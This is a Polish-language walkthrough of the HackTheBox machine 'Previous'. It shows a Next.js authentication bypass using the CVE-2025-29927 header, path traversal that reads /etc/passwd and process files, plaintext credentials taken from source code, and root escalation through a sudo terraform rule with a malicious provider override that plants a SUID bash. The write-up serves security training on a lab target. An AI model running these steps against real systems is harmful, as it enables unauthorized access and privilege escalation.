[PL] HackTheBox - Previous
January 10, 2026
Rekonesans
Nmap
Nmap znajduje 2 otwarte porty:
22 (ssh)80 (http)
rvr@rvr$ nmap -p- --min-rate 10000 -oN nmap.all-ports 10.10.11.83
# Nmap 7.94SVN scan initiated Wed Jan 6 12:30:20 2026 as: nmap -p- --min-rate 10000 -oN nmap.all-ports 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.72s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
rvr@rvr$ nmap -sCV -p22,80 10.10.11.83
# Nmap 7.94SVN scan initiated Wed Jan 6 12:59:41 2026 as: nmap -sCV -p22,80 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.82s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Jak to zazwyczaj bywa, i tym razem możemy pominąć port ssh. Baza podatności dla tej wersji, mimo dwóch krytycznych CVE, nie pozwoli nam dostać się do systemu bez znajomości hasła i nazwy użytkownika.
TCP 80 (HTTP) - previous.htb
Nmap od razu wykrył przekierowanie na domenę previous.htb, możemy więc umieścić ją w pliku /etc/hosts dla łatwiejszej interakcji z usługą http.
Strona wygląda jak wizytówka biblioteki js. Po kliknięciu w dowolny z przycisków jesteśmy przenoszeni do strony logowania /api/auth/signin?callbackUrl=%2Fdocs:
Technologie
Aplikacja została zbudowana w Next.js - frameworka javascript opartego o React.
Wtyczka wappalyzer jest w stanie dokładnie zidentyfikować jego wersję (Next.js 15.2.2):
Możemy to potwierdzić w piku /_next/static/chunks/main-0221d9991a31a63c.js:
Dostęp początkowy
CVE-2025-55182 - niepowowdzenie
Typowe ataki na formularz logowania jak sql injection, nosql injection itd. nie przyniosły porządanego efektu. Następną metodą, którą warto przetestować w przypadku next.js są głośne ostatnimi czasy podatności - CVE-2025-55182 oraz CVE-2025-29927.
Pierwsza to RCE (ang. remote code execution) o maksymalnej wartości w skali CVSS (10.0). Podlinkowany wyżej blogpost, całkiem dobrze opisuje metodę weryfikacji, czy podatność rzeczywiście istnieje:
Dostajemy odpowiedź taką jak zawsze - 200 OK. W przypadku sukcesu (tj. wystąpieniu podatności) powinniśmy ujrzeć błąd 500 i E{"digest" w ciele odpowiedzi - nie ma więc mowy o tej podatności w testowanej aplikacji.
CVE-2025-29927
Kolejna głośna podatność (ominięcie uwierzytelnienia) bazuje na dodatkowym nagłówku, który musimy umieścić w żądaniu do aplikacji. Żądanie to powinno odwoływać się do lokalizacji, która chroniona jest jakiegoś rodzaju uwierzytelnieniem.
Z reguły wystarczy nagłówek: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware o ile wersja next.js jest wyższa niż 13.2.0 (a tak jest też w naszym przypadku). Oczywiście wariacji tego nagłówka może być kilka, to wszystko zależy od struktury samej aplikacji czy wersji frameworka.
Spróbujmy więc dodać taki nagłówek do chronionego zasobu, np. /docs:
HTTP 200 OK, tytuł strony wskazuje na Docs a nie 401 Unauthorized jak wcześniej, a więc sukces!
Najlepiej teraz dodać regułę match and replace w burpie, aby nagłówek ten był zawsze dołączony. To znacznie ułatwi korzystanie ze strony, gdyż każde żądanie będzie teraz omijało uwierzytelnienie next.js:
Path traversal i czytanie plików
Po przejrzeniu aplikacji, szybko odnajdujemy endpoint /api/download?example=hello-world.ts:
Na myśl od razu przychodzi więc path traversal i możliwość czytania plików na serwerze (tu dla przykładu plik /etc/passwd, do którego uzyskujemy dostęp):
Jakie pliki powinniśmy teraz odczytać? Możliwości jest wiele, poniżej kilka propozycji:
/proc/self/environze zmiennymi środowiskowmi procesu,/proc/self/cmdlinez poleceniem jakie zostało użyte do utworzenia procesu,- pliki aplikacji
Z pliku /proc/self/environ wiemy, że kod aplikacji znajduje się w /app:
Powinniśmy teraz przyjrzeć się kodowi źródłowemu działającej aplikacji, być może znajdziemy tam coś, co przyda się w dalszej eksploitacji. Ale żeby tego dokonać muimy znać typową strukturę aplikacji napisanej w next.js.
W takim wypadku najlepiej jest stworzyć przykładowy projekt, zbudować go i zajrzeć do wygenerowanych plików:
rvr@rvr$ npx create-next-app@latest my-app --yes
rvr@rvr$ cd my-app
rvr@rvr$ npm run buildDla naszych potrzeb najbardziej istotny będzie folder .next, który:
Holds everything needed to execute, optimize, and serve your Next.js application. (Zawiera wszystko co potrzebne do wykonania, optymalizacji i udostępnienia aplikacji Next.js)
W mojej testowej aplikacji folder ten wygląda następująco:
Z naszej perspektywy najciekawszy wydaje się plik: .next/server/pages-manifest.json, gdyż to tu znajdziemy przemapowanie scieżek aplikacji na pliki js/html. Dla aplikacji previous.htb jego zawartość wygląda następująco:
Od razu wzrok przykuwa plik pages/api/auth/[...nextauth].js - nazwa auth jest jednoznaczna, to tu mogą znajdować się dane potrzebne do uwierzytelnienia. Sprawdzamy:
Łatwo poszło, mamy parę login i hasło: jeremy:MyNameIsJeremyAndILovePancakes.
Shell jako jeremy
Znalezione credentiale pasują do ssh. Możemy teraz odczytać plik user.txt:
jeremy@previous:~$ ls
docker user.txt
jeremy@previous:~$ cat user.txt
f607efe5*************************Enumeracja
Podstawowa enumeracja sudo -l wskazuje na niecodzienną regułę sudo z binarką terraform:
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples applyWarto zauważyć także parametr !env_reset, gdyż zapobiega on wyczyszczeniu zmiennych środowiskowych użytkownika przy wykonywaniu poleceń. Oznacza to, że dowolona zmienna środowiskowa przekazana do sudo <CMD> zostanie wzięta pod uwagę podczas uruchamiania danej komendy. To od programu wykonywanego razem z sudo będzie zależeć czy ją wykorzysta, czy też nie. Co więcej, dotyczy to także zmiennych już istniejących jak $HOME, $USER etc. (za wyjątkiem zmiennej $PATH, gdyż ta zostanie pominięta, o czym świadczy reguła env_delete+=PATH).
Shell jako root
Eskalacja uprawnień
Terraform to otwartoźródłowe narzędzie IaC (infrastructure as a code) umożliwiające zarządzenie lokalnymi i chmurowymi komponentami infrastruktury poprzez łatwe w pisaniu i utrzymaniu pliki konfiguracyjne.
Wywołując pełną komendę sudo dostajemy poniższy wynik:
jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
No changes. Your infrastructure matches the configuration.
Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.
Apply complete! Resources: 0 added, 0 changed, 0 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"Łącząc to wszystko możemy założyć, że ścieżka eskalacji będzie bazować na jakiejś zmiennej środowiskowej działającej w terraform. Wśród wielu takich zmiennych, z całą pewnością wyróżnia się TF_CLI_CONFIG_FILE:
Możliwość załadowania customowych ustawień podczas uruchamiania programu daje duże możliwości, ale może być również proszeniem się o problemy. W dokumentacji widzimy, że możliwe jest takie skonfigurowanie “dostawcy” pluginów do terraform, który nie korzysta z zewnętrznego rejestru, ale wykorzystuje ścieżkę lokalną. To w połączeniu z opcją dev_overrides pozwala dodatkowo ominąć sprawdzenie wersji i sumy kontrolnej (przydatne dla środowisk developerskich). Przykład z dokumentacji:
provider_installation {
# Use /home/developer/tmp/terraform-null as an overridden package directory
# for the hashicorp/null provider. This disables the version and checksum
# verifications for this provider and forces Terraform to look for the
# null provider plugin in the given directory.
dev_overrides {
"hashicorp/null" = "/home/developer/tmp/terraform-null"
}
# For all other providers, install them directly from their origin provider
# registries as normal. If you omit this, Terraform will _only_ use
# the dev_overrides block, and so no other providers will be available.
direct {}
}Commands like terraform apply will disregard the lock file’s entry for hashicorp/null and will use the given directory instead.
Terraform oczekuje, że w katalogu podanym w dev_overrides tj. /home/developer/tmp/terraform-null znajdzie się plik wykonywalny o nazwie zgodnej z konwencję nazewnictwa terraform-provider-NAZWA, gdzie NAZWA jest zgodna z typem w dev_overrides (dla przykładu wyżej terraform-provider-null). Możemy więc podstawić tam nasz złośliwy plik, np. skrypt w bashu, który zostanie wykonany w momencie uruchomienia komendy sudo /usr/bin/terraform -chdir\=/opt/examples apply.
Co więcej, terraform dzięki -chdir\=/opt/examples w regule sudo uruchamia wszystkie pliki .tf z katalogu /opt/examples. A tam widzimy:
jeremy@previous:~$ ls -la /opt/examples/
total 28
drwxr-xr-x 3 root root 4096 Jan 12 16:09 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root 18 Apr 12 2025 .gitignore
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root 247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 576 Aug 21 18:15 main.tf
-rw-r--r-- 1 root root 1097 Jan 12 16:09 terraform.tfstatemain.tf wygląda tak:
jeremy@previous:~$ cat /opt/examples/main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}Plik należy do użytkownika root, więc nie możemy go zmodyfikować. Stąd nasz własny provider musi mieć dokładnie taką nazwę: previous.htb/terraform/examples, aby podczas uruchomienia main.tf terraform mógł go wykorzystać.
Tworzymy plik /tmp/evil-terraform/evil-config.tfrc ze złośliwą konfiguracją:
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/evil-terraform/"
}
direct {}
}A następnie złośliwy plik wykonywalny /tmp/evil-terraform/terraform-provider-examples (jw. nazwa wynika z konwencji nazewnictwa providerów, o której wspomniałem wyżej):
#!/bin/bash
cp /bin/bash /tmp/basher
chmod +s /tmp/basherUruchamiamy komendę apply pamiętając o podaniu wcześniej zmiennej środowiskowej:
jeremy@previous:/tmp/evil-terraform$ TF_CLI_CONFIG_FILE=/tmp/evil-terraform/evil-config.tfrc sudo terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp/evil-terraform
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to
│ instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /tmp/evil-terraform/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ..
╵Mimo że wykonanie kończy się błędem, w /tmp/ zobaczymy plik basher będący kopią basha z ustawioną flagą suid, która da możliwość uruchomienia go jako właściciel pliku (czyli root), po podaniu komendy /tmp/basher -p:
jeremy@previous:/tmp/evil-terraform$ ls -la /tmp/
total 2808
drwxrwxrwt 13 root root 4096 Jan 8 23:44 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
drwxrwxrwt 2 root root 4096 Jan 8 15:58 .ICE-unix
drwxrwxrwt 2 root root 4096 Jan 8 15:58 .Test-unix
drwxrwxrwt 2 root root 4096 Jan 8 15:58 .X11-unix
drwxrwxrwt 2 root root 4096 Jan 8 15:58 .XIM-unix
drwxrwxrwt 2 root root 4096 Jan 8 15:58 .font-unix
-rwsr-sr-x 1 root root 1396520 Jan 8 23:44 basher
jeremy@previous:/tmp/evil-terraform$ /tmp/basher -p
basher-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
basher-5.1# whoami
root
basher-5.1# cat /root/root.txt
febb16a*************************Co oczywiście pozwoli nam odczytać flagę umieszczoną w /root/root.txt i przejąć pełną kontrolę nad systemem.
Alternatywna ścieżka eskalacji
Jak wspomniałem wyżej:
!env_resetnie czyści zmiennych środowiskowych użytkownika przy wykonywaniu poleceń
Z tego powodu w sudo będzie widoczna zmienna środowiskowa $HOME należącą do użytkownika jeremy. W dokumentacji terraform mamy taką informację:
If the configuration file is created in your operating system user directory with the name .terraformrc, it will always be used.
Oznacza to, że jeśli w katalogu domowym użytkownika znajdzie się plik konfiguracyjny .terraformrc to będzie on brany pod uwagę przy uruchomieniu terraform. Zatem, naszą złośliwą konfigurację możemy po prostu umieścić w ~/.terraformrc, gdyż mamy tam prawa do zapisu. Konfiguracja ta jest identyczna jak wcześniej:
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/evil-terraform/"
}
direct {}
}Wystarczy więc teraz uruchomić komendę: sudo terraform -chdir=/opt/examples apply, by terraform ponownie wykonał nasz złośliwy plik /tmp/evil-terraform/terraform-provider-examples dając nam dostęp do roota.
